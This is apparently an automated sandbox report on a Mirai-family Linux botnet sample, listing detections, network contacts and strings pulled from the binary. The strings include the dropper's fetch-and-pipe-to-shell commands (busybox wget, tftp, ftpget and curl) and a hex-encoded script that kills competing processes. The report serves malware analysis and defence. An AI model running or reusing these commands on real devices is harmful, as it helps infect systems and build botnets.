Create Interactive Tour

Linux Analysis Report
jklarm7.elf

Overview

General Information

Sample name:	jklarm7.elf
Analysis ID:	1634495
MD5:	a9675614a267473cb83e195d9074a067
SHA1:	a4d148cf841fc2b84c8bb3dd322e40f601532875
SHA256:	fe4e8d464b7849a5483782d0c47e53deaf199e284badad12ed98ca79e47a79d9
Tags:	elfMiraiuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1634495
Start date and time:	2025-03-11 00:32:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	jklarm7.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/144@22/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/jklarm7.elf
PID:	6234
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

jklarm7.elf (PID: 6234, Parent: 6157, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/jklarm7.elf

jklarm7.elf New Fork (PID: 6239, Parent: 6234)

jklarm7.elf New Fork (PID: 6241, Parent: 6239)

jklarm7.elf New Fork (PID: 6243, Parent: 6239)

jklarm7.elf New Fork (PID: 6244, Parent: 6239)

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: watchmepull.dyn. [malformed]

Source: global traffic	TCP traffic: 192.168.2.23:35722 -> 193.143.1.116:1440
Source: global traffic	TCP traffic: 192.168.2.23:47468 -> 185.220.204.227:1990
Source: global traffic	TCP traffic: 192.168.2.23:60088 -> 64.227.79.152:1945
Source: global traffic	TCP traffic: 192.168.2.23:32808 -> 159.89.101.70:1440
Source: global traffic	TCP traffic: 192.168.2.23:50350 -> 45.147.251.145:2840

Source: /tmp/jklarm7.elf (PID: 6234)

Socket: 127.0.0.1:39148

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 206.44.111.7
Source: unknown	TCP traffic detected without corresponding DNS query: 217.170.123.213
Source: unknown	TCP traffic detected without corresponding DNS query: 206.44.111.7
Source: unknown	TCP traffic detected without corresponding DNS query: 217.170.123.213
Source: unknown	TCP traffic detected without corresponding DNS query: 39.234.195.19
Source: unknown	TCP traffic detected without corresponding DNS query: 161.8.240.139
Source: unknown	TCP traffic detected without corresponding DNS query: 39.234.195.19
Source: unknown	TCP traffic detected without corresponding DNS query: 212.117.37.99
Source: unknown	TCP traffic detected without corresponding DNS query: 161.8.240.139
Source: unknown	TCP traffic detected without corresponding DNS query: 125.46.145.194
Source: unknown	TCP traffic detected without corresponding DNS query: 212.117.37.99
Source: unknown	TCP traffic detected without corresponding DNS query: 81.109.187.39
Source: unknown	TCP traffic detected without corresponding DNS query: 125.46.145.194
Source: unknown	TCP traffic detected without corresponding DNS query: 81.109.187.39
Source: unknown	TCP traffic detected without corresponding DNS query: 120.35.155.11
Source: unknown	TCP traffic detected without corresponding DNS query: 76.28.19.94
Source: unknown	TCP traffic detected without corresponding DNS query: 120.35.155.11
Source: unknown	TCP traffic detected without corresponding DNS query: 207.39.195.129
Source: unknown	TCP traffic detected without corresponding DNS query: 76.28.19.94
Source: unknown	TCP traffic detected without corresponding DNS query: 207.39.195.129
Source: unknown	TCP traffic detected without corresponding DNS query: 68.157.216.65
Source: unknown	TCP traffic detected without corresponding DNS query: 176.43.88.241
Source: unknown	TCP traffic detected without corresponding DNS query: 68.157.216.65
Source: unknown	TCP traffic detected without corresponding DNS query: 176.43.88.241
Source: unknown	TCP traffic detected without corresponding DNS query: 90.44.60.197
Source: unknown	TCP traffic detected without corresponding DNS query: 90.44.60.197
Source: unknown	TCP traffic detected without corresponding DNS query: 8.214.170.151
Source: unknown	TCP traffic detected without corresponding DNS query: 8.214.170.151
Source: unknown	TCP traffic detected without corresponding DNS query: 123.23.154.66
Source: unknown	TCP traffic detected without corresponding DNS query: 145.113.187.176
Source: unknown	TCP traffic detected without corresponding DNS query: 123.23.154.66
Source: unknown	TCP traffic detected without corresponding DNS query: 145.113.187.176
Source: unknown	TCP traffic detected without corresponding DNS query: 221.2.82.170
Source: unknown	TCP traffic detected without corresponding DNS query: 221.2.82.170
Source: unknown	TCP traffic detected without corresponding DNS query: 45.16.244.213
Source: unknown	TCP traffic detected without corresponding DNS query: 45.16.244.213
Source: unknown	TCP traffic detected without corresponding DNS query: 120.208.81.155
Source: unknown	TCP traffic detected without corresponding DNS query: 120.208.81.155
Source: unknown	TCP traffic detected without corresponding DNS query: 102.101.220.193
Source: unknown	TCP traffic detected without corresponding DNS query: 139.204.60.131
Source: unknown	TCP traffic detected without corresponding DNS query: 102.101.220.193
Source: unknown	TCP traffic detected without corresponding DNS query: 116.19.48.218
Source: unknown	TCP traffic detected without corresponding DNS query: 139.204.60.131
Source: unknown	TCP traffic detected without corresponding DNS query: 159.124.23.163
Source: unknown	TCP traffic detected without corresponding DNS query: 116.19.48.218
Source: unknown	TCP traffic detected without corresponding DNS query: 22.93.241.198
Source: unknown	TCP traffic detected without corresponding DNS query: 159.124.23.163
Source: unknown	TCP traffic detected without corresponding DNS query: 98.108.248.80
Source: unknown	TCP traffic detected without corresponding DNS query: 22.93.241.198

Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn
Source: global traffic	DNS traffic detected: DNS query: ohlookthereismyboats.geek
Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn. [malformed]

Source: jklarm7.elf	String found in binary or memory: http:///curl.sh
Source: jklarm7.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.troj.linELF@0/144@22/0

Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6263/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6263/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6274/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6274/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6274/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6274/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6262/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6262/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6273/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6273/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6265/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6265/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6264/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6264/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6275/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6275/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6275/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6275/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6267/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6267/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6266/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6266/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6310/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6310/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6269/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6269/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6268/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6268/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6270/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6270/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6261/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6261/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6272/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6272/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6260/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6260/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6271/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6271/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6249/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6326/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6326/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6259/maps	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6243)	File opened: /proc/6259/cmdline	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/6234/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/1582/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/3088/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/230/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/110/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/231/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/111/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/232/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/1579/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/112/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/233/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/1699/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/113/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/234/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/1335/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/1698/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/114/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/235/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/1334/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/1576/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/2302/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/115/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/236/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/116/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/237/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/117/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/118/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/910/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/119/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/912/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/10/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/2307/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/11/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/918/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/12/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/13/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/14/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/15/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/16/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/17/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/18/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/1594/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/120/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/121/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/1349/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/1/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/122/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/243/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/123/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/2/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/124/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/3/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/4/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/125/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/126/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/1344/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/1465/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/1586/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/127/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/6/comm	Jump to behavior
Source: /tmp/jklarm7.elf (PID: 6234)	File opened: /proc/248/comm	Jump to behavior

Source: /tmp/jklarm7.elf (PID: 6234)

Queries kernel information via 'uname':

Jump to behavior

Source: jklarm7.elf, 6234.1.00007ffff68cf000.00007ffff68f0000.rw-.sdmp, jklarm7.elf, 6241.1.00007ffff68cf000.00007ffff68f0000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/jklarm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jklarm7.elf
Source: jklarm7.elf, 6234.1.0000560c1f9f2000.0000560c1fb42000.rw-.sdmp, jklarm7.elf, 6241.1.0000560c1f9f2000.0000560c1fb42000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: jklarm7.elf, 6234.1.0000560c1f9f2000.0000560c1fb42000.rw-.sdmp, jklarm7.elf, 6241.1.0000560c1f9f2000.0000560c1fb42000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: jklarm7.elf, 6234.1.00007ffff68cf000.00007ffff68f0000.rw-.sdmp, jklarm7.elf, 6241.1.00007ffff68cf000.00007ffff68f0000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
jklarm7.elf	47%	ReversingLabs	Linux.Backdoor.Mirai
jklarm7.elf	44%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
watchmepull.dyn	64.227.79.152	true	false	high
ohlookthereismyboats.geek	193.143.1.116	true	false	high
watchmepull.dyn. [malformed]	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	jklarm7.elf	false		high
http:///curl.sh	jklarm7.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
60.214.173.237	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
218.71.154.64	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
129.205.54.10	unknown	South Africa	37497	Network-PlatformsZA	false
21.142.244.58	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
8.218.143.163	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
42.166.8.48	unknown	China	4249	LILLY-ASUS	false
8.196.135.75	unknown	United States	3356	LEVEL3US	false
152.124.181.64	unknown	United States	29992	VA-TMP-COREUS	false
201.243.99.249	unknown	Venezuela	8048	CANTVServiciosVenezuelaVE	false
100.173.89.41	unknown	United States	21928	T-MOBILE-AS21928US	false
209.229.81.177	unknown	United States	7029	WINDSTREAMUS	false
23.99.6.156	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
112.237.251.218	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
88.188.107.132	unknown	France	12322	PROXADFR	false
98.89.117.84	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
185.244.121.242	unknown	Germany	46261	QUICKPACKETUS	false
182.15.157.186	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
145.111.203.143	unknown	Netherlands	1104	NIKHEFNikhefEU	false
59.157.145.225	unknown	Japan	10013	FBDCFreeBitCoLtdJP	false
17.215.193.95	unknown	United States	714	APPLE-ENGINEERINGUS	false
43.166.60.15	unknown	Japan	4249	LILLY-ASUS	false
160.142.69.126	unknown	United States	1528	DNIC-AS-01528US	false
37.104.242.214	unknown	Saudi Arabia	25019	SAUDINETSTC-ASSA	false
217.130.184.40	unknown	Spain	12430	VODAFONE_ESES	false
56.223.242.40	unknown	United States	2686	ATGS-MMD-ASUS	false
42.251.182.188	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
92.48.1.174	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
36.161.212.206	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
182.22.80.161	unknown	Japan	23816	YAHOOYahooJapanCorporationJP	false
202.36.138.95	unknown	New Zealand	2497	IIJInternetInitiativeJapanIncJP	false
144.139.53.85	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
58.98.0.49	unknown	Japan	9595	XEPHIONNTT-MECorporationJP	false
207.45.152.200	unknown	United States	3737	AS-PTDUS	false
214.215.26.120	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
147.142.53.229	unknown	Germany	553	BELWUEBelWue-KoordinationEU	false
222.57.24.84	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
106.60.122.98	unknown	China	134766	CHINANET-YUNNAN-IDC2CHINANETYunnanprovinceIDC2network	false
39.238.173.11	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
66.7.29.151	unknown	United States	7029	WINDSTREAMUS	false
91.83.0.90	unknown	Hungary	20845	DIGICABLEHU	false
201.103.48.9	unknown	Mexico	8151	UninetSAdeCVMX	false
5.5.45.224	unknown	Germany	6805	TDDE-ASN1DE	false
147.97.238.162	unknown	United States	30408	ASUNETUS	false
1.20.166.211	unknown	Thailand	23969	TOT-NETTOTPublicCompanyLimitedTH	false
35.72.202.132	unknown	United States	16509	AMAZON-02US	false
216.150.28.153	unknown	Canada	13768	COGECO-PEER1CA	false
35.149.142.191	unknown	United States	394141	ROCKET-FIBERUS	false
5.23.185.7	unknown	Belgium	6848	TELENET-ASBE	false
164.164.193.173	unknown	India	7633	SOFTNET-AS-APSoftwareTechnologyParksofIndia-Bangalore	false
77.48.30.39	unknown	Czech Republic	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
135.47.16.147	unknown	United States	54614	CIKTELECOM-CABLECA	false
63.94.73.183	unknown	United States	701	UUNETUS	false
222.223.98.214	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
184.227.77.89	unknown	United States	10507	SPCSUS	false
168.63.110.250	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
11.161.110.180	unknown	United States	3356	LEVEL3US	false
67.229.244.173	unknown	United States	35908	VPLSNETUS	false
220.153.251.59	unknown	Japan	18081	KCNKintetsuCableNetworkCoLtdJP	false
22.134.208.16	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
76.198.33.135	unknown	United States	7018	ATT-INTERNET4US	false
135.84.182.191	unknown	Canada	54527	ASTUTEHOSTINGCA	false
104.52.114.237	unknown	United States	7018	ATT-INTERNET4US	false
135.129.143.122	unknown	United States	14962	NCR-252US	false
25.239.190.224	unknown	United Kingdom	7922	COMCAST-7922US	false
117.143.107.211	unknown	China	24400	CMNET-V4SHANGHAI-AS-APShanghaiMobileCommunicationsCoLt	false
93.228.156.241	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
147.242.201.29	unknown	United States	747	DNIC-AS-00747US	false
19.116.99.171	unknown	United States	3	MIT-GATEWAYSUS	false
89.188.23.173	unknown	Netherlands	31477	DUOCAST-ASNL	false
